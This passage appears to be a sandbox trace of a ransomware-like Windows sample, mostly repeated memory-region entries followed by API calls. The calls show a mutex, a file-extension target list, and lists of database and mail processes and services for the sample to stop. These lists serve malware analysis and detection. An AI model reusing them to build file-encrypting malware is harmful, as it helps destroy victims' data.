0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2359 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2360 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2361 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2362 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2363 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2364 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2365 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2366 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2367 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2368 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2369 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2370 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2371 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2372 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2373 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2374 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2375 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2376 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2377 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2378 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2379 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2380 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2381 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2382 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2383 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2384 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2385 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2386 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 2387 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2388 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2389 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2390 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2391 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2392 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2393 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2394 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2395 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2396 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2397 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2398 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2399 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2400 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2401 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2402 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2403 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2404 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2405 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2406 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2407 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2408 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2409 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2410 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2411 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2412 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2413 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2414 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2415 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2416 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2417 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2418 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2419 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2420 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2421 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2422 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2423 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2424 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2425 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2426 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2427 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2428 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2429 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2430 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2431 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2432 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2433 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2434 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2435 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2436 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2437 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2438 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2439 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2440 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2441 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2442 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2443 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2444 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2445 start_va = 0x4950000 end_va = 0x4a0ffff entry_point = 0x4950000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Thread: id = 3 os_tid = 0x600 [0201.960] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x773b0000 [0201.960] GetProcAddress (hModule=0x773b0000, lpProcName="GetProcAddress") returned 0x773c1222 [0201.960] GetProcAddress (hModule=0x773b0000, lpProcName="GetModuleHandleW") returned 0x773c34b0 [0201.960] GetProcAddress (hModule=0x773b0000, lpProcName="FindNextFileW") returned 0x773c54ee [0201.960] GetProcAddress (hModule=0x773b0000, lpProcName="FindClose") returned 0x773c4442 [0201.960] GetProcAddress (hModule=0x773b0000, lpProcName="MoveFileW") returned 0x773d9af0 [0201.960] GetProcAddress (hModule=0x773b0000, lpProcName="GetFileSizeEx") returned 0x773c59e2 [0201.960] GetProcAddress (hModule=0x773b0000, lpProcName="GetModuleFileNameW") returned 0x773c4950 [0201.960] GetProcAddress (hModule=0x773b0000, lpProcName="GetFileAttributesW") returned 0x773c1b18 [0201.960] GetProcAddress (hModule=0x773b0000, lpProcName="ExitProcess") returned 0x773c7a10 [0201.960] GetProcAddress (hModule=0x773b0000, lpProcName="GetCommandLineW") returned 0x773c5223 [0201.960] GetProcAddress (hModule=0x773b0000, lpProcName="GetComputerNameW") returned 0x773cdd0e [0201.960] GetProcAddress (hModule=0x773b0000, lpProcName="GetComputerNameA") returned 0x773db6e0 [0201.960] GetProcAddress (hModule=0x773b0000, lpProcName="CreateMutexW") returned 0x773c424c [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="lstrlenW") returned 0x773c1700 [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="lstrlenA") returned 0x773c5a4b [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="GetCurrentProcess") returned 0x773c1809 [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="WaitForSingleObject") returned 0x773c1136 [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="GetLogicalDrives") returned 0x773c5371 [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="GetTickCount") returned 0x773c110c [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="DeleteFileW") returned 0x773c89b3 [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="WideCharToMultiByte") returned 0x773c170d [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x773c1916 [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="Sleep") returned 0x773c10ff [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="LeaveCriticalSection") returned 0x77a62270 [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="ReadFile") returned 0x773c3ed3 [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="CreateFileW") returned 0x773c3f5c [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="OpenMutexW") returned 0x773c5151 [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="EnterCriticalSection") returned 0x77a622b0 [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="WaitForMultipleObjects") returned 0x773c4220 [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="lstrcmpiW") returned 0x773dd5cd [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="lstrcmpiA") returned 0x773c3e8e [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="DeleteCriticalSection") returned 0x77a745f5 [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="ReleaseMutex") returned 0x773c111e [0201.961] GetProcAddress (hModule=0x773b0000, lpProcName="CloseHandle") returned 0x773c1410 [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="GetVersion") returned 0x773c4467 [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="CreateThread") returned 0x773c34d5 [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="ExpandEnvironmentStringsW") returned 0x773c4173 [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="QueryPerformanceCounter") returned 0x773c1725 [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="QueryPerformanceFrequency") returned 0x773c41f0 [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="GetCurrentProcessId") returned 0x773c11f8 [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="SetFileAttributesW") returned 0x773dd4f7 [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="GetVolumeInformationW") returned 0x773dc860 [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="WriteFile") returned 0x773c1282 [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="SetFilePointerEx") returned 0x773dc807 [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="SetEndOfFile") returned 0x773dce2e [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="FindFirstFileW") returned 0x773c4435 [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="GetProcessHeap") returned 0x773c14e9 [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="HeapReAlloc") returned 0x77a81f6e [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="HeapAlloc") returned 0x77a6e026 [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="HeapFree") returned 0x773c14c9 [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="CreatePipe") returned 0x7744415b [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="SetHandleInformation") returned 0x773d195c [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="CreateProcessW") returned 0x773c103d [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="CompareStringW") returned 0x773c3bca [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="CompareStringA") returned 0x773c3c5a [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="OpenProcess") returned 0x773c1986 [0201.962] GetProcAddress (hModule=0x773b0000, lpProcName="TerminateProcess") returned 0x773dd802 [0201.963] GetProcAddress (hModule=0x773b0000, lpProcName="GetSystemTime") returned 0x773c5a96 [0201.963] GetProcAddress (hModule=0x773b0000, lpProcName="SystemTimeToFileTime") returned 0x773c5a7e [0201.963] GetProcAddress (hModule=0x773b0000, lpProcName="GetLastError") returned 0x773c11c0 [0201.963] GetProcAddress (hModule=0x773b0000, lpProcName="CreateToolhelp32Snapshot") returned 0x773e735f [0201.963] GetProcAddress (hModule=0x773b0000, lpProcName="Process32NextW") returned 0x773e896c [0201.963] GetProcAddress (hModule=0x773b0000, lpProcName="Process32FirstW") returned 0x773e8baf [0201.963] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76f90000 [0201.969] GetProcAddress (hModule=0x76f90000, lpProcName="RegOpenKeyExW") returned 0x76fa468d [0201.969] GetProcAddress (hModule=0x76f90000, lpProcName="RegQueryValueExW") returned 0x76fa46ad [0201.969] GetProcAddress (hModule=0x76f90000, lpProcName="RegSetValueExW") returned 0x76fa14d6 [0201.969] GetProcAddress (hModule=0x76f90000, lpProcName="RegCloseKey") returned 0x76fa469d [0201.970] GetProcAddress (hModule=0x76f90000, lpProcName="OpenProcessToken") returned 0x76fa4304 [0201.970] GetProcAddress (hModule=0x76f90000, lpProcName="GetTokenInformation") returned 0x76fa431c [0201.970] GetProcAddress (hModule=0x76f90000, lpProcName="OpenSCManagerW") returned 0x76f9ca64 [0201.970] GetProcAddress (hModule=0x76f90000, lpProcName="OpenServiceW") returned 0x76f9ca4c [0201.970] GetProcAddress (hModule=0x76f90000, lpProcName="CloseServiceHandle") returned 0x76fa369c [0201.970] GetProcAddress (hModule=0x76f90000, lpProcName="ControlService") returned 0x76fb7144 [0201.970] GetProcAddress (hModule=0x76f90000, lpProcName="QueryServiceStatus") returned 0x76fa2a86 [0201.970] GetProcAddress (hModule=0x76f90000, lpProcName="EnumDependentServicesW") returned 0x76f91e3a [0201.970] GetProcAddress (hModule=0x76f90000, lpProcName="EnumServicesStatusExW") returned 0x76f9b466 [0201.970] LoadLibraryA (lpLibFileName="user32.dll") returned 0x771d0000 [0201.987] GetProcAddress (hModule=0x771d0000, lpProcName="SystemParametersInfoW") returned 0x771e90d3 [0201.987] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75cc0000 [0201.990] GetProcAddress (hModule=0x75cc0000, lpProcName="ShellExecuteExW") returned 0x75ce1e46 [0201.990] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77a40000 [0201.990] GetProcAddress (hModule=0x77a40000, lpProcName="NtQuerySystemInformation") returned 0x77a5fda0 [0201.990] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74a50000 [0202.090] GetProcAddress (hModule=0x74a50000, lpProcName="WNetCloseEnum") returned 0x74a52dd6 [0202.090] GetProcAddress (hModule=0x74a50000, lpProcName="WNetOpenEnumW") returned 0x74a52f06 [0202.090] GetProcAddress (hModule=0x74a50000, lpProcName="WNetEnumResourceW") returned 0x74a53058 [0202.091] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x77300000 [0202.229] GetProcAddress (hModule=0x77300000, lpProcName="WSAStartup") returned 0x77303ab2 [0202.229] GetProcAddress (hModule=0x77300000, lpProcName="socket") returned 0x77303eb8 [0202.229] GetProcAddress (hModule=0x77300000, lpProcName="send") returned 0x77306f01 [0202.229] GetProcAddress (hModule=0x77300000, lpProcName="recv") returned 0x77306b0e [0202.229] GetProcAddress (hModule=0x77300000, lpProcName="connect") returned 0x77306bdd [0202.230] GetProcAddress (hModule=0x77300000, lpProcName="closesocket") returned 0x77303918 [0202.230] GetProcAddress (hModule=0x77300000, lpProcName="gethostbyname") returned 0x77317673 [0202.230] GetProcAddress (hModule=0x77300000, lpProcName="inet_addr") returned 0x7730311b [0202.230] GetProcAddress (hModule=0x77300000, lpProcName="ntohl") returned 0x77302d57 [0202.230] GetProcAddress (hModule=0x77300000, lpProcName="htonl") returned 0x77302d57 [0202.230] GetProcAddress (hModule=0x77300000, lpProcName="htons") returned 0x77302d8b [0202.230] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=1831892900000) returned 1 [0202.230] GetTickCount () returned 0x40c20 [0202.230] GetCurrentProcessId () returned 0x67c [0202.230] GetTickCount () returned 0x40c20 [0202.230] GetTickCount () returned 0x40c20 [0202.230] GetVersion () returned 0x1db10106 [0202.231] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_V59QH4A") returned 0x0 [0202.231] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_V59QH4A") returned 0x84 [0202.231] lstrlenW (lpString="Global\\syncronize_") returned 18 [0202.231] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_V59QH4U") returned 0x0 [0202.231] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_V59QH4U") returned 0x88 [0202.231] lstrlenW (lpString="Global\\syncronize_") returned 18 [0202.231] GetVersion () returned 0x1db10106 [0202.231] GetCurrentProcess () returned 0xffffffff [0202.231] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0202.231] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0202.231] CloseHandle (hObject=0x8c) returned 1 [0202.232] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0202.232] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0202.232] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0202.232] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0202.238] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0202.238] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0202.238] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5f5938 [0202.240] EnumServicesStatusExW (in: hSCManager=0x5f5938, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0202.241] GetLastError () returned 0xea [0202.241] EnumServicesStatusExW (in: hSCManager=0x5f5938, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5f9238, cbBufSize=0x134c, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5f9238, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0202.241] CloseServiceHandle (hSCObject=0x5f5938) returned 1 [0202.242] lstrlenW (lpString="Appinfo") returned 7 [0202.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0202.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0202.242] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0202.242] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0202.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0202.242] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0202.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0202.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0202.242] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0202.242] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0202.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0202.243] lstrlenW (lpString="AudioSrv") returned 8 [0202.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0202.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0202.243] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0202.243] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0202.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0202.243] lstrlenW (lpString="BFE") returned 3 [0202.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0202.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0202.243] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0202.243] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0202.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0202.243] lstrlenW (lpString="CryptSvc") returned 8 [0202.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0202.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0202.243] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0202.243] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0202.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0202.243] lstrlenW (lpString="CscService") returned 10 [0202.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0202.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0202.243] lstrcmpiW (lpString1="sqlwriter", 